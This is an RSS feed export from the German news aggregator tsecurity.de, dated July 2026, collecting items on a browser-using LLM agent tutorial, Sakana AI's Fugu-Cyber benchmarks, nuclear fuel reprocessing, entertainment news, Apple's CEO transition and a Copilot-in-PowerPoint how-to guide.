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<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
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<lastBuildDate>Tue, 28 Jul 2026 22:55:30 +0200</lastBuildDate>
<pubDate>Tue, 28 Jul 2026 22:55:30 +0200</pubDate>
<ttl>15</ttl>
<copyright>2026 Team IT Security</copyright>
<managingEditor>lakandor@tsecurity.de (Horus Sirius)</managingEditor>
<webMaster>lakandor@tsecurity.de (Horus Sirius)</webMaster>
<category>IT Security</category>
<category>Cybersecurity</category>
<category>Nachrichten</category>
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<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
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<item>
<title><![CDATA[How to Give an LLM Agent a Browser]]></title>
<description><![CDATA[Building a browser-use agent with OpenAI Agents SDK and Playwright MCP
The post How to Give an LLM Agent a Browser appeared first on Towards Data Science.]]></description>
<link>https://tsecurity.de/de/3695689/ai-nachrichten/how-to-give-an-llm-agent-a-browser/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695689/ai-nachrichten/how-to-give-an-llm-agent-a-browser/</guid>
<pubDate>Sun, 26 Jul 2026 15:28:33 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Building a browser-use agent with OpenAI Agents SDK and Playwright MCP</p>
<p>The post <a href="https://towardsdatascience.com/giving-an-llm-agent-a-browser/">How to Give an LLM Agent a Browser</a> appeared first on <a href="https://towardsdatascience.com/">Towards Data Science</a>.</p>]]></content:encoded>
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<title><![CDATA[Only Murders in the Building season 6 casting Olivia Colman is nothing short of genius — now stream the Oscar nominated political biopic that first made her Meryl Streep's co-star]]></title>
<description><![CDATA[Before Olivia Colman and Meryl Streep were co-stars in Only Murders in the Building season 6, this British political biopic brought them together in the unlikeliest of ways.]]></description>
<link>https://tsecurity.de/de/3695656/it-nachrichten/only-murders-in-the-building-season-6-casting-olivia-colman-is-nothing-short-of-genius-now-stream-the-oscar-nominated-political-biopic-that-first-made-her-meryl-streeps-co-star/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695656/it-nachrichten/only-murders-in-the-building-season-6-casting-olivia-colman-is-nothing-short-of-genius-now-stream-the-oscar-nominated-political-biopic-that-first-made-her-meryl-streeps-co-star/</guid>
<pubDate>Sun, 26 Jul 2026 15:02:24 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Before Olivia Colman and Meryl Streep were co-stars in Only Murders in the Building season 6, this British political biopic brought them together in the unlikeliest of ways.]]></content:encoded>
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<title><![CDATA[A Promising Process For Nuclear Fuel Re-use and Disposal?]]></title>
<description><![CDATA[A Canadian lab has run a chemical process on real spent nuclear fuel "and pulled out 90% of the long-lived danger in 24 hours, the part that forces a burial site to last 100,000 years," notes the blog Autonocio, "with the leftovers meant to fuel a reactor."


The standard plan for spent nuclear f...]]></description>
<link>https://tsecurity.de/de/3695586/it-security-nachrichten/a-promising-process-for-nuclear-fuel-re-use-and-disposal/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695586/it-security-nachrichten/a-promising-process-for-nuclear-fuel-re-use-and-disposal/</guid>
<pubDate>Sun, 26 Jul 2026 13:48:14 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A Canadian lab has run a chemical process on real spent nuclear fuel "and pulled out 90% of the long-lived danger in 24 hours, the part that forces a burial site to last 100,000 years," notes the blog Autonocio, "with the leftovers meant to fuel a reactor."


The standard plan for spent nuclear fuel is to wait it out. You pull the used bundles from a reactor, sit them in a pool of water for seven to ten years while the heat and radiation come down, seal them in concrete casks, and look for somewhere deep and geologically dull to leave them for the next hundred thousand years. Canada has been hunting for that burial site since the 1980s and still doesn't have one in the ground. 

A company in Saint John, New Brunswick thinks most of what makes that waste dangerous never needed to go in the ground at all. Moltex Energy Canada says a chemical process it calls WATSS can strip 90% of the long-lived material out of used Canada Deuterium Uranium [CANDU] fuel in 24 hours, and that the concentrated leftovers become fuel for a reactor it wants to build on the same site. The recovery step isn't a slide in a pitch deck anymore. In 2025, World Nuclear News reported that Canadian Nuclear Laboratories ran the process on real used fuel from a commercial Canadian reactor and confirmed the 90% figure. 

None of it is generating power yet. What exists is a validated chemical step and a reactor design waiting in line at a regulator. The rest is a 2030s problem. 

"The chemistry has a lab result behind it. The reactor does not exist..." the article points out. "Moltex is aiming to have its first WATSS and SSR-W units running at Point Lepreau by the early-to-mid 2030s... Not everyone buys the pitch. Critics have argued the reprocessing creates its own stream of byproducts, that the economics are unproven, and that a single site's stockpile is finite." 

But Moltex "isn't alone in trying to burn nuclear waste instead of bury it," the article notes, with Switzerland and Denmark "chasing the same goal a different way."


 Switzerland's Transmutex drives a subcritical reactor with a particle accelerator, feeding it spent fuel alongside thorium... Denmark's Copenhagen Atomics is building a thorium molten-salt reactor that fits inside a shipping container and runs on the leftovers from conventional plants. 


Thanks to long-time Slashdot reader kwelch007 for sharing the article.
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</div><p><a href="https://news.slashdot.org/story/26/07/26/0456203/a-promising-process-for-nuclear-fuel-re-use-and-disposal?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[Comic-Con 2026 Debuts Trailers for 'Coyote vs Acme' Movie, Plus 'Neuromancer' and 'Blade Runner 2099' Series]]></title>
<description><![CDATA[Big news from Comic-Con 2026:

"Coyote vs. ACME" debuted its long-awaited final trailer. CNET calls it "an animation-meets-live-action story," with the Coyote catapulting into theaters this August 28. (The film began development back in 2018, but was shelved for a tax write-off in 2023 by Warner ...]]></description>
<link>https://tsecurity.de/de/3695323/it-security-nachrichten/comic-con-2026-debuts-trailers-for-coyote-vs-acme-movie-plus-neuromancer-and-blade-runner-2099-series/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695323/it-security-nachrichten/comic-con-2026-debuts-trailers-for-coyote-vs-acme-movie-plus-neuromancer-and-blade-runner-2099-series/</guid>
<pubDate>Sun, 26 Jul 2026 10:01:17 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Big news from Comic-Con 2026:

"Coyote vs. ACME" debuted its long-awaited final trailer. CNET calls it "an animation-meets-live-action story," with the Coyote catapulting into theaters this August 28. (The film began development back in 2018, but was shelved for a tax write-off in 2023 by Warner Bros. until a backlash led to its sale to Ketchup Entertainment.) "Fed up with Acme's unreliable products, Wile E. Coyote decides to hire a lawyer and sue the company..." writes CNET. "The movie also features Lana Condor along with a host of Looney Tunes characters like Porky Pig, Tweety, Foghorn Leghorn and Granny (who gets dinged by an anvil)."
In other movie news, CNET says Johnny Depp also "made a surprise appearance at Comic-Con, donning a costume as Ebenezer Scrooge" to promote his November 13 movie about the miser from Charles Dickens' famous Christmas novella. (Ian McKellen and Daisy Ridley are also in the movie.)


But several geek favorites are being filmed as TV series...

 There's big news for William Gibson fans, reports Entertainment Weekly. "Two years after Apple TV announced production on the first-ever series adaptation of William Gibson's seminal 1984 novel Neuromancer, the lucky few hundred who attended the studio's Hall H panel at Comic-Con 2026 got to watch the first teaser. 

For Amazon's Prime Video, the Tolkien-derived "Rings of Power" series released a season 3 trailer that CNET said "successfully hides the best parts with fire... The trailer suggests that Sauron is building an army, and all of Middle-earth is trying to find ways to stop him... Rings of Power season 3 will start dropping weekly episodes on Nov. 11, meaning this show will be airing at the same time the Peter Jackson films will be celebrating their 25th anniversary."
Later in November Amazon's Prime Video will also debut Blade Runner 2099, an eight-episode series that's a sequel to 2017's film Blade Runner 2049, reports CNET. "Set in an alternate version of LA where replicants run things and the humans play second fiddle, the series sees Yeoh's replicant Olwen chasing down outlaw replicants who've gone missing. With her own shelf life on a ticking clock, the stakes are high for her and for her human fugitive partner, Cora..."
Paramount Plus will debut Avatar: Seven Havens in October, a new animated series from the creators of Avatar: The Last Airbender which CNET says "follows a pair of twin avatars, one of whom is Korra's successor."

Disney+ has season 3 of Percy Jackson and the Olympians.
Kevin Feige said Marvel's television slate will include more seasons of "X-Men '97" and the upcoming "VisionQuest" TV series.
HBO Max will launch a new Green Lantern series called Lanterns on August 16.
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</div><p><a href="https://entertainment.slashdot.org/story/26/07/26/038200/comic-con-2026-debuts-trailers-for-coyote-vs-acme-movie-plus-neuromancer-and-blade-runner-2099-series?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[Agent Kim Reactivated Season 2: Is Another Season Happening? Here’s What We Know]]></title>
<description><![CDATA[Agent Kim Reactivated Season 2 has not been officially confirmed, but the Season 1 finale leaves Kim Do-hyeon in a strong position to return for another dangerous mission.



The Korean action drama completed its first season on July 25, 2026, after releasing two episodes each Friday and Saturday...]]></description>
<link>https://tsecurity.de/de/3695255/ios-mac-os/agent-kim-reactivated-season-2-is-another-season-happening-heres-what-we-know/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695255/ios-mac-os/agent-kim-reactivated-season-2-is-another-season-happening-heres-what-we-know/</guid>
<pubDate>Sun, 26 Jul 2026 09:08:51 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Agent Kim Reactivated Season 2 has not been officially confirmed, but the Season 1 finale leaves Kim Do-hyeon in a strong position to return for another dangerous mission.



The Korean action drama completed its first season on July 25, 2026, after releasing two episodes each Friday and Saturday. The finale ended its run as the most-watched drama of 2026 in South Korea, giving SBS and Netflix a strong reason to consider another season.




Season 2 status: Not officially renewed



Possible release date: Late 2027 or 2028, depending on renewal and production



Season 1 release: June 26 to July 25, 2026



Episodes: 10



Genre: Action, crime, spy thriller and comedy



Streaming platform: Netflix



Main cast: So Ji-sub, Choi Dae-hoon, Yoon Kyung-ho and Joo Sang-wook




Netflix describes the series as an action drama about an ordinary father who brings back his black-ops skills after his daughter disappears. The show is based on the Manager Kim webtoon and mixes family drama with espionage, chases and close-combat action.



Where could the story go in Season 2?



Spoilers for the Agent Kim Reactivated Season 1 finale follow.



Season 1 follows bank manager Kim Do-hyeon as he searches for his missing daughter, Min-ji. His investigation forces him to reveal that he once worked as a highly trained North Korean operative before building a quiet life in South Korea.



Do-hyeon eventually confronts Joo Kang-chan, bringing their long and violent history to a final showdown. However, the last episode does more than close the kidnapping storyline. It shows Do-hyeon beginning a new chapter and attending an employment interview connected to Baekho, directly opening the door for another season.



Agent Kim Reactivated Season 2 could follow Do-hyeon as he accepts professional missions instead of returning fully to his normal banking job. Baekho could recruit him for rescue operations involving missing people, criminal groups or former intelligence agents.



The next season could also expand the roles of Park Jin-cheol and Han-soo. Their skills and history would allow the show to form a larger team around Do-hyeon while introducing a new enemy connected to his earlier life.



When will Season 2 be announced?



SBS has not announced a renewal or production schedule. However, the finale’s strong ratings and clear continuation scene make a second season possible. A decision could depend on cast availability, Netflix performance and whether the writers have another completed storyline.



Would you watch Agent Kim Reactivated Season 2, and what mission should Manager Kim take on next? Let us know in the comments.]]></content:encoded>
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<title><![CDATA[Sakana AI Releases Fugu-Cyber: An Orchestration Model Reporting 86.9% on CyberGym and 72.1% on CTI-REALM]]></title>
<description><![CDATA[Sakana AI has released Fugu-Cyber, a security-tuned endpoint on its Fugu orchestration model. It reports 86.9% on CyberGym and 72.1% on CTI-REALM, edging past GPT-5.5-Cyber and Claude Mythos Preview. Access is gated behind manual approval, a defensive-use policy, and the Token Plan. Here is what ...]]></description>
<link>https://tsecurity.de/de/3695150/ai-nachrichten/sakana-ai-releases-fugu-cyber-an-orchestration-model-reporting-869-on-cybergym-and-721-on-cti-realm/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695150/ai-nachrichten/sakana-ai-releases-fugu-cyber-an-orchestration-model-reporting-869-on-cybergym-and-721-on-cti-realm/</guid>
<pubDate>Sun, 26 Jul 2026 06:40:38 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Sakana AI has released Fugu-Cyber, a security-tuned endpoint on its Fugu orchestration model. It reports 86.9% on CyberGym and 72.1% on CTI-REALM, edging past GPT-5.5-Cyber and Claude Mythos Preview. Access is gated behind manual approval, a defensive-use policy, and the Token Plan. Here is what the numbers actually mean.</p>
<p>The post <a href="https://www.marktechpost.com/2026/07/25/sakana-ai-releases-fugu-cyber-orchestration-model-cybergym-cti-realm/">Sakana AI Releases Fugu-Cyber: An Orchestration Model Reporting 86.9% on CyberGym and 72.1% on CTI-REALM</a> appeared first on <a href="https://www.marktechpost.com/">MarkTechPost</a>.</p>]]></content:encoded>
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<title><![CDATA[Apple and the changing of the guard]]></title>
<description><![CDATA[As Apple gears up to anoint John Ternus the new company CEO in September (while current leader Tim Cook takes a seat on the board) the company appears to be firing on all cylinders ahead of the leadership transition. 



What’s going well



Just look at the evidence: 




Apple is building marke...]]></description>
<link>https://tsecurity.de/de/3694776/ai-nachrichten/apple-and-the-changing-of-the-guard/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694776/ai-nachrichten/apple-and-the-changing-of-the-guard/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:11 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">As Apple gears up to <a href="https://www.computerworld.com/article/4161377/with-john-ternus-as-ceo-expect-apples-platforms-to-proliferate.html">anoint John Ternus</a> the new company CEO in September (while current leader Tim Cook <a href="https://www.apple.com/uk/newsroom/2026/04/tim-cook-to-become-apple-executive-chairman-john-ternus-to-become-apple-ceo/" target="_blank" rel="noreferrer noopener">takes a seat on the board</a>) the company appears to be firing on all cylinders ahead of the leadership transition. </p>



<h2 class="wp-block-heading"><strong>What’s going well</strong></h2>



<p class="wp-block-paragraph">Just look at the evidence: </p>



<ul class="wp-block-list">
<li>Apple is building market share across its entire product range; even memory-driven price inflation doesn’t seem to have dampened demand for its hardware yet.</li>



<li>While Apple had to raise prices, the company’s MacBook Neo remains seriously popular. It’s sitting atop <a href="https://www.amazon.com/Best-Sellers-Laptop-Computers/zgbs/electronics/565108" target="_blank" rel="noreferrer noopener">Amazon’s US best-selling chart</a>, which currently includes six Macs in the top 10. The Neo has <a href="https://www.computerworld.com/article/4180406/after-a-quick-1-1m-sales-macbook-neo-set-to-reshape-the-pc-industry.html" target="_blank">topped this chart</a> since its introduction.</li>



<li>Apple’s iPhone 17 series continues to sell well, with recent market data showing sustained growth. Both <a href="https://counterpointresearch.com/en/insights/china-smartphone-shipments-slip-2-percent-yoy-in-q2-2026">Counterpoint</a> and <a href="https://www.applemust.com/apple-bucks-the-trend-in-china-with-iphone/">IDC</a> tell us that iPhone shipments continue to increase, even as other vendor shipments slide.</li>



<li>IDC analyst Francisco Jeronimo <a href="https://thecorenews.substack.com/p/the-core-appletldr-july-20">recently estimated</a> that Apple’s upcoming foldable iPhone Ultra could grab 29.4% of global folding smartphone sales this year, rising to 34.9% in 2027.</li>



<li>The company’s new <a href="https://www.computerworld.com/article/4188961/these-apple-os-betas-are-just-what-the-believers-wanted.html">27 series of operating systems</a> is attracting a great response as beta testers report that it is already solid, stable, and performing well.</li>



<li>The AI narrative has really changed, with analysts no longer <a href="https://www.computerworld.com/article/4198808/apple-could-run-the-table-on-ai-if-it-does-things-right.html">quite so starry-eyed</a> at the prospects for the big frontier AI firms. Apple’s edge-AI-enabling approach is winning converts.</li>
</ul>



<h2 class="wp-block-heading"><strong>What’s coming up</strong></h2>



<p class="wp-block-paragraph">The company’s <a href="https://www.computerworld.com/article/4198342/apple-widens-openai-trade-secrets-fight-with-preservation-orders.html">newly-filed lawsuit against OpenAI</a> may or may not succeed, but it will certainly help consolidate recognition of the importance of Apple’s designs and intellectual property in whatever hardware emerges from the AI firm. It also means both Apple and OpenAI are already competing in hardware, even though neither company yet offers anything that directly challenges the other. </p>



<p class="wp-block-paragraph">Apple has just set out its stall to brand-loyal fans in a big way and did so before OpenAI gets to woo the same set of customers with a wriggle of its <a href="https://www.computerworld.com/article/3992592/jony-ive-and-openai-plan-bicycles-for-21st-century-minds.html">Jony Ive-tinged talisman</a>.</p>



<p class="wp-block-paragraph">The stage is set for intense competition between the two. Though some say Apple’s needs to improve  employee retention, if it does find proof of efforts to use recruitment to engage in industrial espionage, it’ll be easier to represent its own products as being the OG for new hardware. </p>



<p class="wp-block-paragraph">If nothing else, it means consumers will forever be asking, “If OpenAI’s designers are so good, why did it need to poach them from Apple?” Doubt is a weapon.</p>



<h2 class="wp-block-heading"><strong>Managing perception</strong></h2>



<p class="wp-block-paragraph">It doesn’t matter how the case goes, because there fight is already affecting consumer psychology. It also means that as Ternus prepares to take his seat atop the rainbow-colored Apple throne, we can already size him up. “A man is measured by his enemies,” Joe Abercrombie wrote in “The Trouble With Peace.”</p>



<p class="wp-block-paragraph">Given the proximity of the leadership transition, it’s highly probable that Ternus signed-off on the litigation; in doing so he — and Apple — tell us to expect more of the same. </p>



<p class="wp-block-paragraph">Apple has, rightly or wrongly, decided that OpenAI will become its new existential bugbear, following in the footsteps of Microsoft Windows, Real Networks, Adobe Flash, Android, and Samsung, all of whom have been useful foils against which Apple has been able to build and maintain its identity.</p>



<p class="wp-block-paragraph">Looking at that list, you’d be tempted to believe that nothing much is new. Apple has often defined itself by the enemies it sometimes keeps. What has been will be again, which in this case means even as OpenAI attempts to carve out an identity as a hardware manufacturer delivering solutions to compete with Apple and Google, Ternus’ team’s looks to drive a consensus-shaped wedge into the pro-LLM propaganda. </p>



<p class="wp-block-paragraph">That blow comes as Apple <a href="https://www.computerworld.com/article/4198808/apple-could-run-the-table-on-ai-if-it-does-things-right.html">finally gets its act together around AI</a>, and as the company prepares for a future in which the world’s most-used wearable device also becomes the wearable way to woo Siri AI.</p>



<h2 class="wp-block-heading"><strong>My kingdom come</strong></h2>



<p class="wp-block-paragraph">Rising market share, powerful solutions, an increasingly recognized and respected approach to AI, and an ideological crusade — these details constitute Apple’s place today and are Tim Cook’s coronation gift to Ternus. He’s passing along a strong and hyper-profitable baton that screams of timeliness and relevance even as the company gets set, ready, to go with a year or two of new product designs, new product families, and a <a href="https://www.computerworld.com/article/4104139/the-stage-is-being-set-for-20-years-of-iphone.html">20<sup>th</sup>anniversary iPhone</a>.</p>



<p class="wp-block-paragraph">This is Apple’s party. OpenAI’s name didn’t make the list. </p>



<p class="wp-block-paragraph"><em>You can follow me on social media! Join me on <a href="https://bsky.app/profile/jonnyevanssays.bsky.social" target="_blank" rel="noreferrer noopener">BlueSky</a>,  <a href="http://www.linkedin.com/in/jonnyevans" target="_blank" rel="noreferrer noopener">LinkedIn</a>, <a href="https://social.vivaldi.net/@jonnyevans" target="_blank" rel="noreferrer noopener">Mastodon</a> and subscribe to <a href="https://thecorenews.substack.com/p/welcome-to-the-core?r=5l3lg" target="_blank" rel="noreferrer noopener">The Core</a>.</em></p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[10 cool things Copilot can do in PowerPoint]]></title>
<description><![CDATA[Building a presentation can take lots of time. There are design choices to figure out: the slide layouts, fonts, theme colors, and so on. You can use a template to skip this hassle, but you still have to paste your text and other content into the slides and edit it all so that the results are vis...]]></description>
<link>https://tsecurity.de/de/3694773/ai-nachrichten/10-cool-things-copilot-can-do-in-powerpoint/</link>
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<pubDate>Sat, 25 Jul 2026 19:50:10 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Building a presentation can take lots of time. There are design choices to figure out: the slide layouts, fonts, theme colors, and so on. You can use a template to skip this hassle, but you still have to paste your text and other content into the slides and edit it all so that the results are visually appealing.</p>



<p class="wp-block-paragraph">In PowerPoint, Microsoft’s Copilot AI assistant can now automate the heavy lifting of presentation creation. It can generate a first-draft presentation in minutes, then help you edit it. You can also prompt Copilot to help you quickly understand the contents of a presentation and glean insights from it. Use the tips in this guide to save oodles of time as you create and work with presentations.</p>



<h3 class="wp-block-heading">Who can use Copilot in PowerPoint</h3>



<p class="wp-block-paragraph">Individuals with a <a href="https://www.microsoft.com/en-us/microsoft-365-copilot/pricing/individuals" target="_blank" rel="noreferrer noopener">Microsoft 365 Personal, Family, or Premium</a> subscription have access to Copilot from within PowerPoint and other Microsoft 365 apps. Users with a Premium plan have <a href="https://support.microsoft.com/en-US/Microsoft-365-Copilot/ai-credits-and-limits-for-microsoft-365-subscriptions" target="_blank" rel="noreferrer noopener">higher Copilot usage allowances</a> and access to advanced AI features.</p>



<p class="wp-block-paragraph">For business users, it’s more complicated. Organizations with more than 2,000 users must pay for <a href="https://www.computerworld.com/article/1629974/m365-copilot-microsofts-generative-ai-tool-explained.html">Microsoft 365 Copilot</a> licenses for their users in addition to their regular Microsoft 365 licenses. Users at organizations with fewer than 2,000 users can use Copilot within M365 apps even without the M365 Copilot add-on licenses, but there are <a href="https://support.microsoft.com/en-us/microsoft-365-copilot/how-copilot-chat-works-with-and-without-a-microsoft-365-copilot-license" target="_blank" rel="noreferrer noopener">limitations</a> in usage, speed, and feature availability.</p>



<p class="wp-block-paragraph">To see what kind of access you have, log in to Microsoft’s <a href="https://m365.cloud.microsoft/" target="_blank" rel="noreferrer noopener">Copilot Chat web hub</a> and look for your name in the lower left corner. If you see “M365 Copilot (Premium)” under your name, you can use Copilot in M365 apps with priority access and advanced features. “M365 Copilot (Basic)” means you can use Copilot in M365 apps with lower-priority access and limited features. If you see “Copilot Chat (Basic)” or nothing below your name, you can’t use Copilot in M365 apps.</p>



<p class="wp-block-paragraph"><em>(Copilot Chat Basic users do get some Copilot functionality, including the ability to generate presentations, via the Copilot Chat hub. See our <a href="https://www.computerworld.com/article/4171293/copilot-chat-your-hub-for-document-creation-and-analysis.html">Copilot Chat tutorial</a> for details.)</em></p>



<h4 class="wp-block-heading"><strong>In this article:</strong></h4>



<ul class="wp-block-list">
<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#sidebar">Working with Copilot in PowerPoint</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#template">Create a presentation template</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#pres-from-doc">Create a presentation from a document</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#slide-from-doc">Add content from a document to a slide</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#refine-text">Refine your slide text</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#image">Find or create an image</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#expand">Expand your presentation with relevant slides</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#summarize">Summarize a presentation</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#answer-questions">Answer questions about a presentation</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#navigate">Help you navigate a large presentation</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#speaker-notes">Generate speaker notes and/or an FAQ</a></li>
</ul>



<h2 class="wp-block-heading">Working with Copilot in PowerPoint</h2>



<p class="wp-block-paragraph">First, let’s quickly go over the notable settings of the Copilot sidebar.</p>



<p class="wp-block-paragraph">When you have a presentation open in PowerPoint, click the Copilot icon; it may be floating at the lower-right corner of your PowerPoint window or parked at the right end of the Ribbon toolbar. The Copilot sidebar will open along the right of the page. You’ll type your prompts to Copilot inside the chat window in this pane.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-01-sidebar.png?w=1024" alt="powerpoint screen with copilot sidebar open on right" class="wp-image-4195065" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>The sidebar on the right is where you interact with Copilot in PowerPOint.</p><br></figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph"><strong>Agent mode:</strong> By default, Copilot can build a new presentation or make changes to an existing one in the main PowerPoint window. This is known as “agent mode.” To change this so that Copilot can’t take direct action on a presentation (all its responses appear in the sidebar), click the <em>Allow editing</em> button above the chat window and change it to <em>Chat only</em>.</p>



<p class="wp-block-paragraph">The tips in this guide require that Copilot be in agent mode, so make sure you see <em>Allow editing</em> above the chat window.</p>



<p class="wp-block-paragraph"><strong>Choice of AI model:</strong> Behind the scenes, Copilot has access to various genAI models, including different versions of Anthropic Claude and OpenAI GPT.  By default, it decides which model to use based on your prompt. You can set it to use a particular model: click <em>Auto</em> at the upper right of the Copilot pane and select a model from the dropdown that opens.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-02-sidebar-model-dropdown.png?w=1024" alt="screenshot of copilot sidebar in powerpoint with models dropdown menu open" class="wp-image-4195063" width="1024" height="697" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>You can choose which AI model you want Copilot to use for a request.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">The tips in this guide should work fine on the default <em>Auto</em> setting. But feel free to experiment switching to specific models to see which give you the best results for particular tasks.</p>



<p class="wp-block-paragraph"><strong>Important:</strong> Remember that <a href="https://www.computerworld.com/article/4059383/openai-admits-ai-hallucinations-are-mathematically-inevitable-not-just-engineering-flaws.html">generative AI output often includes errors</a>, so always check Copilot’s output for accuracy. (Also see our <a href="https://www.computerworld.com/article/4067372/how-to-curb-hallucinations-in-copilot-and-other-genai-tools.html">tips for reducing hallucinations in Copilot</a>.) You’ll likely want to rewrite it in your own voice as you’re reviewing it.</p>



<h2 class="wp-block-heading"><a></a>1. Create a presentation template</h2>



<p class="wp-block-paragraph">For many people, the hardest part of creating a presentation is getting started. What types of information should be included on the slides, and in what order? Copilot can give you a leg up by creating the type of presentation you need, with placeholder data that you can later replace with your own.</p>



<p class="wp-block-paragraph">Start a new presentation, open the Copilot sidebar, and type your prompt into the chat window. It’s best to provide very specific details in your prompt. The more context or details you provide, the more likely Copilot will generate a presentation template that suits your needs.</p>



<p class="wp-block-paragraph">A good prompt should contain the slide count, subject, audience, and tone. Example:</p>



<ul class="wp-block-list">
<li><em>Create a 6-slide presentation for a sales meeting focusing on Q1 revenue. The audience is the sales team, so keep the tone professional and focused on the sales data.</em></li>
</ul>



<p class="wp-block-paragraph">Copilot may ask a series of follow-up questions, such as your preferred visual style and desired level of detail. Then it will generate a presentation template.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-03-generated-presentation-with-placeholder-data.png?w=1024" alt="screenshot of powerpoint presentation generated by copilot with placeholder data" class="wp-image-4195064" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot generates a presentation with placeholder data and explains its elements.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">You can optionally prompt Copilot for revisions, and when you’re happy with the template, swap in your own data.</p>



<h2 class="wp-block-heading"><a></a>2. Create a presentation from a document</h2>



<p class="wp-block-paragraph">You can attach a document (such as a Word document, Excel spreadsheet, or PDF) and prompt Copilot to generate a presentation based on its contents. This works best with a structured-format document (such as a business plan, project proposal, or summary report) that contains sections with headings.</p>



<p class="wp-block-paragraph">Copilot can extract the document’s text and structure to generate the slide content for the new presentation. This can especially be useful for quickly turning a long report into a visually appealing presentation.</p>



<p class="wp-block-paragraph">In the Copilot pane, click the <em>+</em> icon at the bottom of the chat window. A list of documents that you’ve recently accessed appears. Select the one that you want Copilot to use. Alternatively, click the magnifying glass icon and inside its search box, type a few letters of the filename for the document you want. (Business users with an M365 Copilot license can select up to five files for Copilot to pull from when creating a presentation.)</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-04-attach-document.png?w=1024" alt="screenshot of copilot sidebar in powerpoint with a document being attached for copilot to base a presentation on" class="wp-image-4195062" width="1024" height="733" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Attaching a document for Copilot to base a presentation on.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">Then in the chat window, you can enter a prompt that’s as simple as “<em>Create a presentation</em>,” although as always, providing more details and context is better. This is especially important for corporate users who reference multiple source files. It’s useful to tell Copilot what data to pull from each document.</p>



<p class="wp-block-paragraph">Answer any follow-up questions that Copilot asks, and it will then generate the presentation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-05-generated-presentation-from-doc.png?w=1024" alt="screenshot of powerpoint with a presentation generated by copilot from a document" class="wp-image-4195067" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot has generated a professional presentation from a social media marketing campaign document.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



